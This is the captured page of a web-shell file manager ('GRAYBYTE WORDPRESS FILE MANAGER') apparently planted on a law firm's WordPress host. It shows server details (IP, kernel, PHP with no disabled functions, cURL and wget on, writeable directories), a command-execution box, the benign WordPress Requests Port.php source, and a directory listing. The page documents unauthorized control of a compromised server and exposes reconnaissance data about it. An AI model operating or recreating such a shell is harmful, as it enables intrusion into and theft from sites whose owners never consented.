GRAYBYTE WORDPRESS FILE MANAGER2499

Server IP : 198.54.121.189 / Your IP : 216.73.216.34
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/trustyourlawyer.com/wp-includes/Requests/src/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/trustyourlawyer.com/wp-includes/Requests/src//Port.php
<?php
/**
 * Port utilities for Requests
 *
 * @package Requests\Utilities
 * @since   2.0.0
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;

/**
 * Find the correct port depending on the Request type.
 *
 * @package Requests\Utilities
 * @since   2.0.0
 */
final class Port {

	/**
	 * Port to use with Acap requests.
	 *
	 * @var int
	 */
	const ACAP = 674;

	/**
	 * Port to use with Dictionary requests.
	 *
	 * @var int
	 */
	const DICT = 2628;

	/**
	 * Port to use with HTTP requests.
	 *
	 * @var int
	 */
	const HTTP = 80;

	/**
	 * Port to use with HTTP over SSL requests.
	 *
	 * @var int
	 */
	const HTTPS = 443;

	/**
	 * Retrieve the port number to use.
	 *
	 * @param string $type Request type.
	 *                     The following requests types are supported:
	 *                     'acap', 'dict', 'http' and 'https'.
	 *
	 * @return int
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When a non-string input has been passed.
	 * @throws \WpOrg\Requests\Exception                 When a non-supported port is requested ('portnotsupported').
	 */
	public static function get($type) {
		if (!is_string($type)) {
			throw InvalidArgument::create(1, '$type', 'string', gettype($type));
		}

		$type = strtoupper($type);
		if (!defined("self::{$type}")) {
			$message = sprintf('Invalid port type (%s) passed', $type);
			throw new Exception($message, 'portnotsupported');
		}

		return constant("self::{$type}");
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Auth
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Cookie
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Exception
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Proxy
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Response
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Transport
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Utility
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:19
giriqfky / giriqfky
0644
Auth.php
0.84 KB
December 16 2022 08:02:18
giriqfky / giriqfky
0644
Autoload.php
9.116 KB
April 05 2023 22:42:26
giriqfky / giriqfky
0644
Capability.php
0.637 KB
April 05 2023 22:42:26
giriqfky / giriqfky
0644
Cookie.php
15.028 KB
March 25 2024 21:53:08
giriqfky / giriqfky
0644
Exception.php
1.088 KB
December 16 2022 08:02:18
giriqfky / giriqfky
0644
HookManager.php
0.692 KB
December 16 2022 08:02:18
giriqfky / giriqfky
0644
Hooks.php
2.961 KB
October 12 2023 22:04:34
giriqfky / giriqfky
0644
IdnaEncoder.php
12.144 KB
April 05 2023 22:42:26
giriqfky / giriqfky
0644
Ipv6.php
5.507 KB
December 16 2022 08:02:18
giriqfky / giriqfky
0644
Iri.php
28.928 KB
October 12 2023 22:04:34
giriqfky / giriqfky
0644
Port.php
1.47 KB
December 16 2022 08:02:18
giriqfky / giriqfky
0644
Proxy.php
0.847 KB
December 16 2022 08:02:18
giriqfky / giriqfky
0644
Requests.php
33.204 KB
March 25 2024 21:53:08
giriqfky / giriqfky
0644
Response.php
4.181 KB
April 05 2023 22:42:26
giriqfky / giriqfky
0644
Session.php
8.894 KB
October 12 2023 22:04:34
giriqfky / giriqfky
0644
Ssl.php
5.298 KB
December 16 2022 08:02:18
giriqfky / giriqfky
0644
Transport.php
1.508 KB
December 16 2022 08:02:18
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF